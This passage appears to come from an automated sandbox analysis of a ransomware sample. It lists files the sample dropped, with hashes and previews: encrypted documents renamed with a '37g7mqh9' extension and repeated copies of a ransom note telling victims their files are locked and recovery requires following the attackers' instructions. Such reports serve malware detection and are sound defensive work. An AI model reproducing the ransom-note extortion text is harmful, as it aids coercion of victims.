                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\EOWRVPQCCS.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.849789951357098
                                                                                Encrypted:false
                                                                                SSDEEP:24:d3U4S7PhTb/tPaTdAcsq49QoNMo8MzHHxeeF8+Txy41v/UQe2U3rTfu/AJcq:dk375TbVyRAE4yLBMznx5Fr1CQe2sTf1
                                                                                MD5:9C60E6C1487476315C907DB5C34028C8
                                                                                SHA1:E1338CCF17110704E99C7220A3B53010D485CF35
                                                                                SHA-256:BD5DA5DFAA3EE61253ACEEE2D7C17C6707A1DCB2489FD2711DF3B108D08044DA
                                                                                SHA-512:9E4A9A1A100CEACF28F3D3CCD9736B5B5A9FD1E012207DC0C76247699B6278AE180A68778883BC60C5838150D03E506BD15A1969889917C431EB5224708467AB
                                                                                Malicious:false
                                                                                Preview: c..Vg.vZm..v..E......2..O.D%... <b]...,.aF..|M.g..S.....Y"......j~..^A.K.Z._..`U.}.....@..@e.b....\.5.Wg..!R..\.h...zdo......-...$4\&.,Y...`...8j.G-K....{......*.}.U}V...u.b..l.....SJ5|....k.!...._@.r0@..h>...]&D..........I.X.6.,....Z...,z..:{.$.gU.H...E...[...44..Ao.6.......Z......n..cFn.?.J..K]....D....*.....C,: .j....Y..U[18.'...... ..g;...J.#.Z..v.TF+.a-.eH..n.....d.>..I....-.srx.$...:G..#.KvP....3...f...8g...tv.j....Ws.q..`+..,V...`..4.=?-.zbb/..4...K_#..G.HN..a....N.'....v._.....'.D.mvX.........W?....._.p`$..o...Z3%@..WY.....oz.s.;..L..(.K..d.....JB...*.H..-..P...}k.R...!.L...s.{.T...4..TZ...%.r ...+...+C.t.(L\}..H.*.....~...C..E..g.....tFt.{%..+.q.8daohFT..}CO.d.O.q..&..?.d.@6.&...^.Vu.c.l.0pu..|.I=.s>.^..DZ...0.."6P?....z..b.C.9[T.oq..M.[(......%...Z).....N.{,.>.....ZU`?.8..p*..<..J.%0..A..H.j3....R.Z..rX.}.{...\R.-.......(....5.{...q.U.H.....l.....e..t.Z#e.[L<.N.......c......./..z...HCg]zd.L.j=V.....(...n...lOi.5..kvek
                                                                                C:\Users\user\Documents\EOWRVPQCCS.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.864345098180624
                                                                                Encrypted:false
                                                                                SSDEEP:24:Sg9RuTkxGf1aGX7U4zN1pS2i5c7zAsUP0xL86ZaIvUxRrTfu/A7OoKt:NLgfYZspj7MsxDZaIvUDTfu/AiXt
                                                                                MD5:5E1ED89019494C16CF9990E8813C54BC
                                                                                SHA1:A162E9A017076C584C50347FBF7CC90FA5496CDA
                                                                                SHA-256:440FA12226F3544A5E70385BEEFC8587F71118CB45D97345CA8741BC33D2F3A9
                                                                                SHA-512:9E720686BA7F4BDFB8A1DBB940B7318902BFCCC8B5D0726EDA99F4FE6DBF02261F1823D85A41BABDB793034D6EBB2071F497670CAA734B4EB7CADAD3E5AF4F1E
                                                                                Malicious:false
                                                                                Preview: K6d....aK)9c2.?}h.....M.(."{^..< ....Z...1.gL2.fQeA.D.u....Z..`g.lSmD..0......NR..e.C..v...&..x...Q.K..U0)$.....@~.BH...kA..M...q.S.....d.'.dH.V.m.$t..}_..|..v..I..T.(.[.........._E3..a.b..*./.p.#.U..Kv...vL]!^.UZ2.`....G.T...(....;.....f*.B..4.t...........K.n.U.+f....c.P.fp...KT.>>...L..*.-v."[..iZ.......E...E..+R#.......p..4...W..B....\..[....r.X* ...l..z..W-.......O..u..j.. .u./wy.r.f`...he<..K..LW.2.+O..F.ce.]_.s/.Ug6..d...._...q...Q.}.b.c|..D..m(9....dF.@.Tm;.;.....M.h........ .R.%M.M......H.D.H.......VO.`.56.S.......r./...K8.#.Qc.....o..%....E..O<.}.........f.yo..S_............u.....e...os6....x.z[..X..-l...F..<.^..!u.{.....F..#0&BNt..Q.3:..U....rY.(op....C.b%$..cVW)h...........P...3%.......Y.:..' ..jeY.\...S.V.[#.+.....G..TdH.I.d.%/.vU.&.>...l.(..).._VX.D.3>q.d.7..|.H.@..X...--U..+...o..jO...y..@fN.i...>T.vO..:.,.O.R..t...Q...X.s.d..N..,0 .......+.3,.Z..V....m[..m.H.#..n.&............Ztk4.07....p......t.K.A.)..L.h.......Y..N
                                                                                C:\Users\user\Documents\EOWRVPQCCS.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.847811976445619
                                                                                Encrypted:false
                                                                                SSDEEP:24:XNUXiLU/hec4VAjH5cqcWpRV5WhiOlpZ/ikUrTfu/AJf:d/LUB6+BjGs0pIPTfu/AZ
                                                                                MD5:47DD584CD356BA78D6DE83D05ADBAF68
                                                                                SHA1:70FC2F9BCFB1AFE7149694AD8D96C665355BBF6D
                                                                                SHA-256:7AF8B431BAAB55B9EE7F8E4C9B4F7E29701264F87F09ACDCBC69C61825CA884B
                                                                                SHA-512:BFE26986E71C699280183D49EC1B395746EC4E96E0D32EEFF9E1BFABFC146ED050828180160B2D71E0C209665633D740DB73E45374AF31E18FE3496A0097CB3A
                                                                                Malicious:false
                                                                                Preview: ..n...4+,.P.J.|.......8.w.T..O.r.$K0.{....@^." ...6..2e.....!t[...r.K..5...*L.Q2A.9@.B$d.3....>...(..}....y....?..q6...]~.zBl...0...?C**.....!:...F6....<.%)..0..p..D....>.{5....V..6..........".JUE...2F.w.vn.8...d..j....qn..y....(.".y.}..5I..Z.\.lN\....[..F..7dzL.'.%^f.M3.<.u.U..mUj....wp.R&....Z...x..8.zIW.DR...].Pmd/".]..\.-Jz.C...........\un....._.......X~.[?..#...F...i.Y..s..Q.......V.LY{,...~...#..J.I.#Y..,..m........].z.&........R.....'%.d...0u......K<%M1.\M.....1q.....#)W..,...)...E..$.a.GU.....pk..I....>.E...Vd....2..J...d.B...z*J"^...."...3..g.,........'YRg...].........&i(......"3..L..]..YFa..\a.fk.u~..............v.'..i..5....C)..y.c.`;u...@Xy.I..C....{......c6._..c...+.j..FD..7..q..C7.O.....V..u....ss..2.R.E..j..IO^.Cb..2O....w.....v.GT..-....ZAPQJ.|cwR.n.i....i.....D&lk.o...4*n.b....S.?...p9.A..(.F.]5^D..d:..{....,........v.J.........ZQAn...,...P.i..0_...O....d.n... j.5m.?.V..j..hmU$!~.N.p..).3.JI..na.l...~....9%..A...do....*..>
                                                                                C:\Users\user\Documents\EWZCVGNOWT.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.862822965737464
                                                                                Encrypted:false
                                                                                SSDEEP:24:JqSJrCLPGx3yeNuJFi70a7Cleu2dwqr96D+YsJElL8MZ0mpyrTfu/AEx:DJrCbCNuqoadXH6mJERiTfu/AEx
                                                                                MD5:BE5C8E5FA32110F105FD2E307487C0FE
                                                                                SHA1:44F9C67F89636500F6A7E684F2B0A4BE44D4C244
                                                                                SHA-256:7F8C8E589604E85F20F7E204DDE97E93EA2470FB8866232432F1177227E258C3
                                                                                SHA-512:D33FC874104EB341D119855514BD90FEB6C33C4D5902FD24B2EA6092A6A4178BDDBD113C4E5524982355A08BA480FBE2DEDD1C1C19C2BB80E95FFD67F8817D3E
                                                                                Malicious:false
                                                                                Preview: ...;.p.e....._..j......p..8.dl.".....]..W..Nj.*D2v.]l.B.O.-7||&*.!40n.3.{..E.!N...u;.{&......."D..5....G.d.`..G.j.|...MnH::.f$|.A...g....._D.Sg..>.{h..A ..J..h.I.....H....e..|.ZU$....l.b|...r..$.m.W.!0.=0.iK....u.r)..b..t.,t.C.....T.=..b.5...D.=..].cF{5h....Ay.S..<.=...8.o<.. .sU..rr..U.w.i.Qv...C.T....o.:.<.I.n.k.n;.p`..,F.H.M..wf.m.vKT.PX/.a....wW..F..$...y.m......D..Q.7[Z.2Y>PS9..jz..T4K7<}^..@.f8.o..Z.2..;`*.....iZ 'D.L~%0.45W...H*5....+..*./.N.z.8..m.r...@&.E9.......6.=.....f9g+O..na...A.YO..)..ZU.j.v.,ph.Lmd:.....BeO(.e)..+E.P..........@...#....\.5..!..&.....4?....w.=..x|.sE.4...3.....".5........p..W.... .d...D..3...N-...)...LK..6...3L'.}a..wN"..Q.G:...z...h...I:...|.j..}..Nv7...$..i...K....^......D.........B.Z..I.......'^......<p...uC..#w...O.U.Kk>.Y.!/."....7..=%....<7o..v<~....<.,@....!v..yg..X....VxCd_.H1...g.....!..2..._-...ej.3.-...=...1@.z...I@....'|..c..M...%.......c?..D..u...L..1....s........bT{....p.9.V.E.K.HFZg.A.j^.1.....z
                                                                                C:\Users\user\Documents\GIGIYTFFYT.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8559219150172765
                                                                                Encrypted:false
                                                                                SSDEEP:24:ff3IZBiuKwBrbLnFfDzXkjiiM/Ypq9yaVwAPK/fF3rTfu/A2b6q4f:HSZNBtXkjitgp/4wHnxTfu/A2b6qO
                                                                                MD5:D921CA293C0DAE9A4C1E132222446117
                                                                                SHA1:72375CC722536C3A9B2379DA11B19C862209C6ED
                                                                                SHA-256:FBCC31BF42239CB410A0A06DF49B1EAB9AE03F2C7D1B8321A6BA9F0DD38FA394
                                                                                SHA-512:287E1BA1D12616731887E1812F61F860CF8123BAA310DEAD3F9F81A8A40268D9727083829B564733C017B20D4D3ED569A70D6C9BB77D33512275045CC7FDA6DE
                                                                                Malicious:false
                                                                                Preview: ...# ...c^..v......eh......*......x....V..C.N...3c....oJ.S.........bL..=|.Q.U$..e..Q.I.r....X...T2BZ.6.5..WB^.L..Dd....%."a...*...)\"Z.'..>0...]...i.&...:..=....~_.R. .*V....5.V.0...P.<.'......K...E..]).p...J.M.pf~,...@.u.&..@.:..%.....-./...y.`k.m...GH]........u.Qo.d..UW.H.R,..?G81...i..8~$m.%.U..p........1d.5!.}..f..]..%._C....X..6...r..t..../....H .Kp4....<.DBo...."......b.......[..t....L.#^s.c.0H.Q.sh.-.[.$..a....1..Z"-...J..AtHe..xR.'.B:..Ed....'Q..s...7.\.[qEy.....?".G...j.-..!...7.C....v'sq..oE...cam.^..H..|..<{..r.4S..a.4...!F?.B.eg...@...B.$.......+.GF....6..y........d.5y..,+.a4|.....|...Rj...n.A...Bpz'.(.aa.=`.3@....(bSsYe......H.e......cxt.9.\..1...=vB..:....8.S.+:.i`j.Zw.xwt..X5...eFr.;..N.b...............vx....D..#.0/.@.<...../..o...@.l.$k....@D...cjwk.g......!a/U)..._...'....*S.-s.].....5........!....l..Q.{G..Y.........v.J..,.....\m...x];..@..j#x.5.,W...z..W...ZR...a.../6.^./...@.WX.......|....Wgn.=.Q.:..@F.....s
                                                                                C:\Users\user\Documents\GIGIYTFFYT\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\GRXZDKKVDB.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.839819337846483
                                                                                Encrypted:false
                                                                                SSDEEP:24:OOXAV0+6T/zVAM6K022I3hjDjM8Dm7u2wK6qHlbLvEgq1OmrTfu/AzIxmg:V+yzp632f3hj5Dm7T6qHN7q1JTfu/A8V
                                                                                MD5:9A95DCA31A63B580E41ED305483505FE
                                                                                SHA1:42F42C5EE1508833F5467EA47556076D5883075D
                                                                                SHA-256:EEC549020191173E5E853ABF7BC34B23E7BA39D7E15C0575585B72DD216291C6
                                                                                SHA-512:5CC0EB08221CE50A61C0B490857FFC9DBA6D47190D343FADD88C9C3C158F8FB1A8574E5CDB18DE22991446EDE3706DD46038D1C00406AF04ACBF556631116D62
                                                                                Malicious:false
                                                                                Preview: ..P..T..2..j.......J.!..m..tO.F..#.......w.,.zd......!.....,jZ...L.woU?gy}..c$...X..0.)v. ...(.....wW.$.q....#..u..........8hY0..7.....S.i.....;.;@...%1.\m.D4Y.+f..EzcT.....H....H.!t^.J.....S.S...R...nY.h.@om.v...4...L.=.?#......ii"+...-oW.n.Rmr......s...E.....S.>..C.2...`...R=...W..z.N%.eY.(R`.n.+...iE8.~....r....Vs....o.. ..Zw...4X.Cs|...b..0.%l.,.Ov...bA.."..|.....x..O;.#.$..Q.h.+..|.5.c>...:...6t.2..@.......V..t3....Q;^:.+...-O,...JP...U.G...e...........C...@..;qL.....p.F...[v.SP......_.c.JS.O...Y.^d..!.9/.t......._xs.*...9...D.=...\{@CxW.P..v..S..W.....}.A.k6...4..G............X.....>X..p.zg.U..s.7.e*..NM..e...)2..a$....@.B.y0.....{...X.......k[.aL=3....@.....3.2....T9...;.../..4l..T....$F...P....MS...../.w'..}i-..c..V.m9m.?...AJ..z..c7....(>.J..A..z .........4h.-.A...L(w....tr7...=>..?.D=x.w...... ..h...h...b.....Cv."-......Y..T....-..k....9.n.N\b.c...[...K=.p5.G..sB..".2. M.....r.c<..(........X]J.. .L.2.w....u... ..N...;x>..V.o...c
                                                                                C:\Users\user\Documents\GRXZDKKVDB.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.840168650462763
                                                                                Encrypted:false
                                                                                SSDEEP:24:cEzTKje4CGIc6sHdwp2yW7aQFpMkXaxBkT+/1rbBXrpZUi3fZrTfu/AvZ:xTQe4CneFr7aelanrpTfu/AvZ
                                                                                MD5:C031795716AAC57FBE55899C0DF75EED
                                                                                SHA1:1DE8C6A6B2771F1D62E1B601F6B5B297F51F88D0
                                                                                SHA-256:4F4712CCB1ADAF9D45F5F60A8BCEA65A710BEE929786FBB06FA769150DF34C11
                                                                                SHA-512:5365FF2EFED9B1ED113CABB77A78B2C783BBDC0851179F71B46AB4C3B12E065CE2977BA812807AC8EE21F07B376FD2922737A91D1338C5DBA5B266241B6171C1
                                                                                Malicious:false
                                                                                Preview: n.H.g\Dxr..s6....v.."...V.D.f....:.979......7p.:fa.T6.N/.:.~.....[b.A....[.....!.. .....f.d....|.E.".../...,H..{..b-."..x....h."......0N7.....vg..h...o.$.^..s...[.*.4nC.1..u.U...../x........j.sw...1....Ud...J.%^...6....;...{....=G.a==..4...C.E.>W..j.._..-S.m$.&..n.q7......=..4.$....>K=t/..Ia.]..`...rcB]f.......:.Z..]...{\Zs.~...V.A.U4....;/......=]-....~fC6=.:.....q.$2..._........"./....U......x...H3.._...N7....6[B8..IsMY.(`.......i...$.....Kj..o......WP.9p6.A...E.%.0...S.m...........j.t8Nw..S.5...t.....g..<$..V...I.....v...`G.....r).`*.....B.L../.....Hf....=.:m$v.mE6.R)T..F.....D.=.g.`..ul.m2.M.,.......5\O......]..B..s..*{.*-Y../......D.a..0.....6.;. W).....b.;.....KN?...&.4}.K{A...l..k.?...Dc.M...eA...,%....4Ps"......U._....P.n .{.V..Y._.W.)...lC..5..)=....MEa..2.9..Kd...n.>;.K.4..V.......w.3H.'.@.T.gI.X....1.A..tA.^..DC........8]...J.%.H....Ngt.iQ5...U.....x.s.t'..4>......"....W..D^...S....6..~...N...)..-...K...fu./..e.Ml..-w...s.7..
                                                                                C:\Users\user\Documents\GRXZDKKVDB\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\LIJDSFKJZG\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\NVWZAPQSQL.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.83831695957023
                                                                                Encrypted:false
                                                                                SSDEEP:24:Lmwt3Jil+80O/8rkEktIsZjUzylHqb4KBeK4tt4PeRHHbrTfu/AeNvD:LPt5uD0O/8YEkesZjhcv0ttjvTfu/Ag
                                                                                MD5:6701CAA4FCA9EABFDDBADE3F813F0B3F
                                                                                SHA1:09496C6EE5951221C10830E117202F7D8EFDF9C0
                                                                                SHA-256:7EC55033B0505D54B218A3470F9472C938A581B05395BB1AB6873AD45164448A
                                                                                SHA-512:F6D5968E3BFEE8B9E00AD70375FCA9126CE28F71A694ECDD9A46F5278873BD4CB069F81D3D0E9AAA3A9B9DF5CAF380694AE636D73BC5950B35AC30B73F76A8FB
                                                                                Malicious:false
                                                                                Preview: .J[..cel....2.I.U.A.wT..>...Au$...1.]...v..(.....&N...U]y...'.I..b..o............[m...s.......t4.a..}sE..Jr.=dq`*.......`..3%.v.h....`;.5..^.Ng....t...b..z.Y+...tkz.m..`.5/h..I)Tm...mb$.(."....b".>4..En.....E.....".8......?..7(q....).d...@u.2...@..i......q.'.i.P...(..G..D.a.....7.W.9._..G(.<Z.dH.O.,o5..!...j."v.....L..g0{]kD..u..iO.x..Dd..u...-.6......7....N......<...T<...;P.1.V....D....D0.Drn.'..@.]W..[.gh..=.|....>.xak.Y8.q.{......k;.`..*.7z..F.i@).`G..%.0...U....A.Y.....Ub7..Vh..n.NB+...f`.<y.....33..q.@/.#..,.b......x..0....p]>uF.CU]..G....B...W....$J.zz.1F...@.]2u...N$..&.*..2..."..........z....n..n..h[......[...}.{L..k..j...6.D/)....W......W...O....a/.....^...A...r/...<...W..5af.b....}...=^....`..(.Mz..7....f..g..'I... ..50U..z.y^L.z.G....Q.5?A.J..Y..+|Cj.j.V...+5........Q...t..a...*v."o(...~.T...@..[.>...O......)9...._.C...m}..p.......*.F..#_..X...Q.{.7...[5\E8..JSQ......P:....I.%...^..9p[.....S....q...b8.[[.......!...cuE..&
                                                                                C:\Users\user\Documents\NVWZAPQSQL.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.841349148678863
                                                                                Encrypted:false
                                                                                SSDEEP:24:DY3TJ3E3HqVHmKsGKi75z2+NsyZccCpnVHycwtjzrTfu/Afs:D+3E3HMGanM+mytCrScwRXTfu/Afs
                                                                                MD5:C28FD5B7D5007C13F1C75B5BD517F31C
                                                                                SHA1:9AB913516E72D783BA9BA9E0A412DAD0C50C8425
                                                                                SHA-256:A10489DC61A01EDA4B4F8BA47B48FC6B428778E14122D234CAF03A1C2C22E4BB
                                                                                SHA-512:33FE6E39567803BA2F636A1F1C80A46877D060F4A9B9E641CDAF40B7105636BF9F108C6B5FDDCB598F006C8FE0C943D7BDED2D415472E7019F613B3305CC0189
                                                                                Malicious:false
